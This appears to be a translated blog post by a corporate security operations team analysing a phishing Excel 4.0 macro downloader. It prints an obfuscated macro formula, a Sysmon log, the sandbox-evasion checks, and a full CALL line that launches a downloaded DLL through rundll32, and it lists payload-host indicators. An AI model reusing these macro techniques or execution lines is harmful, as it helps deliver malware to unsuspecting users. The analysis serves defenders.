Olá Habr!Em nosso Centro de operações de segurança Tinkoff, analisamos regularmente as técnicas usadas em malware e ataques e, recentemente, encontramos um arquivo interessante sobre o qual gostaríamos de falar.
A técnica usada para criar esta obra-prima é conhecida há mais de 20 anos, mas mesmo décadas depois permanece relevante, pois as chamadas de algumas verificações na macro não são suspeitas e podem ser usadas em documentos legítimos. Este é um downloader de malware escrito em macros do Excel 4.0.Ferramentas
Como parte da análise, usaremos ferramentas de terceiros ao mínimo e seguiremos com um conjunto padrão de programas:- Microsoft Office Suite
- arquivo;
- editor de texto;
- como uma ferramenta para analisar ações de software, usaremos o Sysmon;
- como ambiente de análise, usaremos uma VM com o Windows 7 a bordo
Mnogabukaf
O documento que vamos analisar é uma pasta de trabalho do Excel no formato xls. O malware é entregue em emails de phishing, quando o documento é iniciado, a macro descarrega a ramificação do registro, baixa informações sobre as atualizações do Office no site da Microsoft e também baixa e lança .dll malicioso. Após essas etapas, o livro é fechado sem salvar as alterações.A principal diferença de outros carregadores desse tipo é que ele não usa macros VBA.Análise estática
A seguir, é apresentado um exemplo de email contendo um documento malicioso.
Abra o anexo em nossa máquina virtual.Você deve prestar atenção imediatamente: a imagem avisa que o documento está "protegido" e vale a pena abri-lo localmente e clicar em "habilitar conteúdo":
Um aviso de segurança indica que você precisa examinar os projetos no Editor do Visual Basic.Voltamos ao desenvolvedor - gerenciamento de macro (vbs), mas não vemos macros vbs ou vba:
aqui é a hora de lembrar o que são documentos do escritório.Cada documento do Microsoft Office é um arquivo compactado que pode ser descompactado usando qualquer arquivador, extraindo o conteúdo do documento:
Após descompactar, vemos que, dentro dos documentos, não há arquivos xml que estamos acostumados a ver, a coisa está no formato de documento mais antigo - xls.Na extensão xls, o conteúdo não é armazenado no formato Office Open XML, mas no formato binário BIFF8. O documento usa a macro do Excel 4.0, onde macros podem ser executadas nas células do documento.Vale ressaltar que a planilha com a macro não está oculta, mas a planilha possui um grande número de células vazias, o que dificulta a análise.Existem ferramentas para analisar arquivos BIFF8, por exemplo, BiffViewer, e para analisar conteúdo, há uma ótima ferramenta - oletools. Mas vamos tentar fazer sem usar utilitários de terceiros.O Excel também possui um formato baseado em xml - xlsm, você pode salvar o código de macro do VBA e as folhas de macro do Excel 4.0, o que faremos.A lista completa de formatos disponíveis para o Excel são formatos do Excel .Nós salvamos nosso documento, descompacte-o:
vamos ver o que está nos arquivos, começar com o diretório macrosheets na pasta xl e encontrar o arquivo com todos os dados na planilha de macro:
Assim, obtemos todos os valores nas células da planilha de macro. A macro em si é ofuscada, as células contêm apenas valores e fórmulas numéricas que convertem esses valores e gravam o resultado em novas células.Por exemplo, nesta fórmula, os valores numéricos são convertidos em caracteres, concatenados e gravados na célula FK17653.Fórmula no excelFORMULA.FILL(CHAR(CV63675+HE4018)&CHAR(DG27830+HE26544)&CHAR(IA33205-EW25294)&CHAR(X1216+BA26751)&CHAR(X1216*ER27642)&CHAR(EC50683*IA4491)&CHAR(CV63675*CQ12674)&CHAR(CV63675-IP35389)&CHAR(DL61540+AP31398)&CHAR(GB59870-IB5677)&CHAR(X1216+DS45768)&CHAR(GB59870+FV60781)&CHAR(AA45534*S4000)&CHAR(CV63675*FK10514)&CHAR(EC50683/GD6905)&CHAR(GB59870+EM58732)&CHAR(HQ31358-GI51882)&CHAR(X1216+FX24913)&CHAR(DL61540*EC63501)&CHAR(HQ31358-IC62223)&CHAR(X1216*BY50777)&CHAR(X1216*FY64649)&CHAR(G64471+DW7092)&CHAR(HQ31358-B26139)&CHAR(HQ31358/I494)&CHAR(G64471*DG37241)&CHAR(DL61540-ES39934)&CHAR(X1216+BX48975),FK17653)
Como resultado da fórmula, obtemos a seguinte linha:
Cada comando macro subsequente é "coletado" por uma fórmula semelhante, gravada na célula e, em seguida, executada.Para que a macro seja executada automaticamente quando o documento é aberto, a célula da qual o script deve ser iniciado deve ser chamada Auto_Open. Considere o arquivo workbook.xml:Dentro do arquivo, encontramos o nome da linha = "_ xlnm.Auto_OpenT8nee" hidden = "1"> Sheet2! $ IE $ 65406Isso significa que a célula com a qual a macro é executada, IE65406, está oculta. Agora sabemos o ponto de entrada para a macro.Análise dinâmica
Nunca execute arquivos suspeitos em sua máquina. Para estudar as ações de software suspeito, é necessário usar um ambiente especialmente preparado: várias caixas de areia ou uma máquina isolada especialmente preparada - virtual ou ferro.Abra o documento e execute o conteúdo. A janela do prompt de comando pisca e o livro é fechado.Vamos ver os logs do Sysmon.Sysmon tem um evento de criação de processo (id 1), mais sobre Sysmon pode ser encontrado aqui .Pelos logs, vemos que a macro cria arquivos no diretório c: \ users \ publicA seguinte é a mensagem sysmon, que mostra que a ramificação do registro é descarregada e o resultado é gravado no arquivo:Sysmon Event ID do evento 1sysmon event id 1
Process Create:
RuleName: technique_id=T1112,technique_name=Modify Registry
ProcessGuid: {2a62482c-b244-5ecf-3a00-000000002700}
ProcessId: 3268
Image: C:\Windows\System32\reg.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Registry Console Tool
Product: Microsoft Windows Operating System
Company: Microsoft Corporation
OriginalFileName: reg.exe
CommandLine: «C:\Windows\system32\reg.exe» EXPORT HKCU\Software\Microsoft\Office\16.0\Excel\Security C:\Users\Public\IcItdXw.reg /y"
CurrentDirectory: C:\Users\user\Documents\
User: user
LogonGuid: {2a62482c-b1d8-5ecf-3284-010000000000}
LogonId: 0x18432
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=8BD131B03D6BA865B228CA8EE3239D2EF2B90B74,MD5=D69A9ABBB0D795F21995C2F48C1EB560,SHA256=36414C7E57AFA6136D77FD47F4C55102E35F2475FBCD719728DA7D14B1590E2A,IMPHASH=BC564726CFF18A49EBC14784593A51CA
ParentProcessGuid: {2a62482c-b23f-5ecf-3900-000000002700}
ParentProcessId: 3164
ParentImage: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE
ParentCommandLine: «C:\Program Files\Microsoft Office\Office16\EXCEL.EXE»
Após a conclusão, a macro exclui os arquivos criados.Para proibir a exclusão de arquivos, altere as permissões na pasta, deixe permissões de leitura e gravação e proíba a exclusão:
Execute o documento novamente, receberemos um erro durante a execução da macro, o que nos permitirá depurá-la.Isso é possível porque não há tratamento de exceção em algumas chamadas.
Vamos executar a macro passo a passo; durante a depuração, encontramos chamadas de função de bibliotecas DLL, como ShellExecute e URLDownloadToFile . Após a conclusão da macro, os seguintes arquivos estarão na pasta de usuários compartilhados:
Como conhecemos a célula a partir da qual a execução começa, podemos preencher todas as células na planilha de macro. Vamos passar a macro para a função close (false), onde interromperemos a execução clicando no botão "Pause".Células de verificação do ambiente
Examinando as células que a macro preenche, encontramos várias funções get.window () e get.workspace ()- A função get.window () retorna informações sobre a janela atual: status, status da janela, seu nome, opções de exibição etc.
- A função get.workspace () permite descobrir informações sobre o ambiente em que o documento está sendo executado.
Uma lista completa de chamadas disponíveis para o Excel 4.0 pode ser encontrada nos links.Aqui, precisamos detalhar mais: meu colega e eu sugerimos que a maioria dessas chamadas está relacionada a tentativas de ignorar caixas de areia:- get.winow (7) - verifica se a janela atual está oculta. Retorna verdadeiro ou falso.
- get.windows (20) - retorna true se a janela estiver maximizada.
- get.windows (23) - pode retornar os valores 1, 2 e 3.
1 - restaurado2 - minimizado3 - maximizadoAssim, ele verifica se a janela atual está aberta:get.workspace (31) - verifica se a macro está sendo depurada em etapas.get.workspace (13) - verifique a largura da área de trabalho em pixels: se for menor que 770, o livro será fechado
get.workspace (14) - verifique a altura da área de trabalho em pixels: se for menor que 390, o livro será fechado
get.workspace (19) - verifique a presença de um mouse.get.workspace (1) - retorna em qual sistema operacional o documento está sendo executado.No caso de false, em cada verificação, há uma transição para a célula de fechamento do livro sem salvar o resultado.Chamadas de biblioteca externa
Depois de verificar o ambiente, passamos à funcionalidade principal. Vamos ver como as funções WinAPI são chamadas a partir da macro:1. A chamada reg.exe, que vimos nos logs do Sysmon.
Para chamar o utilitário, a função ShellExecute da biblioteca shell32.dll é usada, os parâmetros para a função estão espalhados em outras células.Célula BN16631:
Célula A46097:
Na célula GN47559, o comando para exportar a ramificação do registro necessária é enviado, Get.workspace (2) retorna a versão do Excel.
A célula DX48821 contém o caminho em que o resultado é gravado.
Além disso, na macro, verifica-se a existência do arquivo IcltdXw.reg criado e sua exclusão.2. Chamando a função URLDownloadToFile. Essa função salva o resultado de uma solicitação get em um arquivo.A chamada é a seguinte:
Essa chamada nos leva ao site da Microsoft, à página com informações sobre as atualizações do Office.Parâmetros de função:Célula BR6547
Célula IN49847
Após executar a instrução, é verificado se o arquivo foi criado e também a leitura do caractere pelo deslocamento no arquivo:
Muito provavelmente, essas ações visam verificar se o ambiente em que o documento está executando tem acesso à Internet.Na fórmula, a função FILES é passada para iserror e o argumento é o nome do arquivo no qual o resultado da função URLDownloadToFile deve ser gravado: a
célula FM27223 dará controle à função de fechamento do livro:
Após o recebimento bem-sucedido do arquivo da Microsoft, as células são preenchidas para preparar a segunda chamada para a urlmon dll.Carregamento de carga
E aqui está a segunda chamada, mas para o domínio dehabadi [.] Ir, do qual a carga maliciosa deve ser carregada:
O resultado será gravado em um arquivo na mesma pasta com a extensão html:
Em seguida, encontraremos uma ramificação no código da macro se, na primeira tentativa de baixar a carga útil, falha, uma segunda tentativa será feita, mas a partir de um endereço diferente.Se o download for bem-sucedido, um aviso aparecerá e a biblioteca carregada será chamada.
A chamada completa é a seguinte:=CALL("shell32","ShellExecuteA","JJCCJJ",0,"open","c:\windows\systemc32\rundll32.exe","c:\users\public\4hcFC.html,DllRegisterServer",0,5)
Em uma chamada completa, a função ShellExecuteA é chamada da biblioteca Shell32 com parâmetros para iniciar o rundll32, com o qual a função exportada da biblioteca maliciosa baixada é chamada.Isso completa a função macro, a carga útil está em funcionamento.Conclusão
Como foi dito, a tecnologia é bastante antiga ( Excel 4.0 para Windows 3.0 e 3.1 ), mas fornece totalmente a funcionalidade que o malware precisa para atingir seus objetivos. E o objetivo deste arquivo é colocar silenciosamente um software perigoso no sistema que pode causar sérios danos, começando com o roubo de dados pessoais, dados de autorização para sistemas, terminando com corrupção / criptografia de dados no computador e a capacidade de executar o código remotamente.Para a análise de tais documentos, não é necessário usar utilitários e software especiais; no entanto, vale a pena mencionar um conjunto de scripts de oletools - mais detalhes podem ser encontrados aqui . Terminaremos aqui, abaixo estão indicadores de comprometimento identificados como resultado da análise.COI recebido:evans [.] williamdmon [@] wp [.]eleventalents [.] comdehabadi [.] ehxxps: //eleventalents.com/wp-keys.phphxxps: //dehabadi.ir/wp-keys.phpde88d3774ae006d96121d9b45efbf1eea73d1214740330013773cd733b0daf206eae2e03ba4adb640f777ad9b0881919e9bd1e171e64025d97a37fd585295ab611653419Uma lista completa de indicadores de comprometimento.Referências:Trabalhou na análise:Frolov IlyaKolenchuk Alexey